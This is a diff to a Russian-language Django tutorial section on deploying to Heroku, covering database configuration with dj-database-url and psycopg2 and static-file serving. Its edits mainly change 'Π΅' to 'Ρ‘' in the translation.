-<p>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… прСдоставляСтся Π½Π° web dyno, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <code>DATABASE_URL</code>. ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ТСстко ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Django, Heroku Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="https://warehouse.python.org/project/dj-database-url/">dj-database-url</a>Β ΠΏΠ°ΠΊΠ΅Ρ‚ для Π°Π½Π°Π»ΠΈΠ·Π°Β <code>DATABASE_URL</code>Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ окруТСния ΠΈ автоматичСски ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π² ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ Django. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ установкС ΠΏΠ°ΠΊΠ΅Ρ‚Π° <em>dj-database-url</em> Π½Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ потрСбуСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΒ <a href="http://initd.org/psycopg/">psycopg2</a>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Django нуТдаСтся Π² этом, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с Π±Π°Π·Π°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Postgres.</p>
+<p>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… прСдоставляСтся Π½Π° web dyno, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <code>DATABASE_URL</code>. ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Тёстко ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Django, Heroku Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="https://warehouse.python.org/project/dj-database-url/">dj-database-url</a>Β ΠΏΠ°ΠΊΠ΅Ρ‚ для Π°Π½Π°Π»ΠΈΠ·Π°Β <code>DATABASE_URL</code>Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ окруТСния ΠΈ автоматичСски ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘ Π² ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ Django. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ установкС ΠΏΠ°ΠΊΠ΅Ρ‚Π° <em>dj-database-url</em> Π½Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ потрСбуСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΒ <a href="http://initd.org/psycopg/">psycopg2</a>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Django нуТдаСтся Π² этом, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с Π±Π°Π·Π°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Postgres.</p>
<h5 id="dj-database-url_Django_ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ_Π±Π°Π·Ρ‹_Π΄Π°Π½Π½Ρ‹Ρ…_ΠΈΠ·_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ_окруТСния">dj-database-url (Django ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ окруТСния)</h5>
-<p>УстановитС dj-database-url локально, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ стал Ρ‡Π°ΡΡ‚ΡŒΡŽ Π½Π°ΡˆΠΈΡ… Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ ΠΊ настройкС Heroku Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌ сСрвСрС:</p>
+<p>УстановитС dj-database-url локально, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ стал Ρ‡Π°ΡΡ‚ΡŒΡŽ Π½Π°ΡˆΠΈΡ… Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ ΠΊ настройкС Heroku Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌ сСрвСрС:</p>
<pre class="notranslate">$ pip3 install dj-database-url
</pre>
@@ -352,14 +352,14 @@ DATABASES['default'].update(db_from_env)</pre>
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong></p>
<ul>
- <li>ΠœΡ‹ всС Π΅Ρ‰Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ SQLite Π²ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>DATABASE_URL</code> пСрСмСнная срСды Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ установлСна ​​на нашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</li>
+ <li>ΠœΡ‹ всС Π΅Ρ‰Ρ‘ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ SQLite Π²ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>DATABASE_URL</code> пСрСмСнная срСды Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ установлСна ​​на нашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</li>
<li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>conn_max_age=500</code> Π΄Π΅Π»Π°Π΅Ρ‚ соСдинСниС постоянным, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ эффСктивнСС, Ρ‡Π΅ΠΌ Π²ΠΎΡΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ соСдинСниС Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Ρ†ΠΈΠΊΠ»Π΅ запросов. Однако это Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈ ΠΏΡ€ΠΈ нСобходимости ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ.</li>
</ul>
</div>
<h5 id="psycopg2_Python_Postgres_database_support">psycopg2 (Python Postgres database support)</h5>
-<p>Django нуТдаСтся Π² psycopg2 для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±Π°Π·Π°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Postgres, ΠΈ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ это Π² Ρ„Π°ΠΉΠ» Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ.txt для Heroku, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ это Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌ сСрвСрС (ΠΊΠ°ΠΊ описано Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ Π½ΠΈΠΆΠ΅).</p>
+<p>Django нуТдаСтся Π² psycopg2 для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±Π°Π·Π°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Postgres, ΠΈ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ это Π² Ρ„Π°ΠΉΠ» Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ.txt для Heroku, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ это Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌ сСрвСрС (ΠΊΠ°ΠΊ описано Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ Π½ΠΈΠΆΠ΅).</p>
<p>Django Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π°ΡˆΡƒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… SQLite локально ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ пСрСмСнная срСды DATABASE_URL Π½Π΅ Π·Π°Π΄Π°Π½Π° Π² нашСй локальной срСдС. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° Postgres ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π°ΡˆΡƒ Π±Π΅ΡΠΏΠ»Π°Ρ‚Π½ΡƒΡŽ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… Heroku для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ производства, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ psycopg2 ΠΈ Π΅Π³ΠΎ зависимости локально Π² систСмС Π½Π° Π±Π°Π·Π΅ Linux, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ bash / terminal:</p>
@@ -369,7 +369,7 @@ pip3 install psycopg2
<p>Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΠΈ ΠΏΠΎ установкС для Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π½Π° Π²Π΅Π±-сайтС psycopg2.</p>
-<p>Однако Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ это Π΄Π΅Π»Π°Ρ‚ΡŒ - Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ PostGreSQL Π±Ρ‹Π» Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Π½Π° локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Ссли Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ Π΅Π³ΠΎ Π² Heroku Π² качСствС трСбования Π² Ρ„Π°ΠΉΠ»Π΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ.txt (см. НиТС).</p>
+<p>Однако Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ это Π΄Π΅Π»Π°Ρ‚ΡŒ - Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ PostGreSQL Π±Ρ‹Π» Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Π½Π° локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Ссли Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ Π΅Π³ΠΎ Π² Heroku Π² качСствС трСбования Π² Ρ„Π°ΠΉΠ»Π΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ.txt (см. НиТС).</p>
<h4 id="ΠžΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Π½ΠΈΠ΅_статичСских_Ρ„Π°ΠΉΠ»ΠΎΠ²_Π²_производствС"><strong>ΠžΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Π½ΠΈΠ΅ статичСских Ρ„Π°ΠΉΠ»ΠΎΠ² Π² производствС</strong></h4>
@@ -380,7 +380,7 @@ pip3 install psycopg2
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. </strong>ΠžΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Π½ΠΈΠ΅ статичСских Ρ„Π°ΠΉΠ»ΠΎΠ² Ρ‡Π΅Ρ€Π΅Π· Django / Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ нСэффСктивно, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ запросы Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Π½Π΅Π½ΡƒΠΆΠ½Ρ‹ΠΉ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ (Django), Π° Π½Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ нСпосрСдствСнно Π²Π΅Π±-сСрвСром ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ CDN. Π₯отя это Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния для мСстного использования Π²ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, это Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ влияниС Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, Ссли ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π² производствС.</p>
</div>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ статичСских Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ Π²Π΅Π±-прилоТСния Django, Django прСдоставляСт срСдство сбора Π΄Π°Π½Π½Ρ‹Ρ… для сбора этих Ρ„Π°ΠΉΠ»ΠΎΠ² для развСртывания (имССтся пСрСмСнная ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π°Ρ, Π³Π΄Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ±ΠΈΡ€Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ запускС collectstatic). Π¨Π°Π±Π»ΠΎΠ½Ρ‹ Django относятся ΠΊ мСсту размСщСния статичСских Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² (STATIC_URL), Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ это ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ, Ссли статичСскиС Ρ„Π°ΠΉΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ хост / сСрвСр.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ статичСских Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ Π²Π΅Π±-прилоТСния Django, Django прСдоставляСт срСдство сбора Π΄Π°Π½Π½Ρ‹Ρ… для сбора этих Ρ„Π°ΠΉΠ»ΠΎΠ² для развёртывания (имССтся пСрСмСнная ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π°Ρ, Π³Π΄Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ±ΠΈΡ€Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ запускС collectstatic). Π¨Π°Π±Π»ΠΎΠ½Ρ‹ Django относятся ΠΊ мСсту размСщСния статичСских Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² (STATIC_URL), Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ это ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ, Ссли статичСскиС Ρ„Π°ΠΉΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ хост / сСрвСр.</p>
<p>Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ настройки ΡΠ²Π»ΡΡŽΡ‚ΡΡ:</p>
@@ -390,7 +390,7 @@ pip3 install psycopg2
<h5 id="settings.py_2">settings.py</h5>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ /locallibrary/settings.py ΠΈ скопируйтС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Π°. BASE_DIR ΡƒΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² вашСм Ρ„Π°ΠΉΠ»Π΅ (STATIC_URL, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΠΆΠ΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² Ρ„Π°ΠΉΠ»Π΅, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π±Ρ‹Π» создан. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ это Π½Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΈΡ‚ Π²Ρ€Π΅Π΄Π°, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π΄ΡƒΠ±Π»ΠΈΡ€ΡƒΠ΅ΠΌΡƒΡŽ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ ссылку).</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ /locallibrary/settings.py ΠΈ скопируйтС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Π°. BASE_DIR ΡƒΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² вашСм Ρ„Π°ΠΉΠ»Π΅ (STATIC_URL, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΠΆΠ΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² Ρ„Π°ΠΉΠ»Π΅, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π±Ρ‹Π» создан. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ это Π½Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΈΡ‚ Π²Ρ€Π΅Π΄Π°, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π΄ΡƒΠ±Π»ΠΈΡ€ΡƒΠ΅ΠΌΡƒΡŽ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ ссылку).</p>
<pre class="notranslate"># Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.10/howto/static-files/
@@ -461,7 +461,7 @@ whitenoise==3.2.2
</pre>
<div class="note">
-<p>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, что строка  <strong>psycopg2</strong>, подобная ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π²Ρ‹ΡˆΠ΅, присутствуСт! Π”Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π½Π΅ установили это локально, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ это Π²Β <strong>requirements.txt</strong>.</p>
+<p>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, что строка  <strong>psycopg2</strong>, подобная ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π²Ρ‹ΡˆΠ΅, присутствуСт! Π”Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π½Π΅ установили это локально, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ это Π²Β <strong>requirements.txt</strong>.</p>
</div>
<h4 id="Π‘Ρ€Π΅Π΄Π°_выполнСния">Π‘Ρ€Π΅Π΄Π° выполнСния</h4>
@@ -482,22 +482,22 @@ whitenoise==3.2.2
git commit -m "Added files and changes required for deployment to heroku"
git push origin master</pre>
-<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ, Π΄Π°ΠΉΡ‚Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ сайт снова локально ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ это Π½Π΅ повлияло Π½ΠΈ Π½Π° ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π²Ρ‹ΡˆΠ΅. ЗапуститС Π²Π΅Π±-сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π»ΠΈ сайт, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
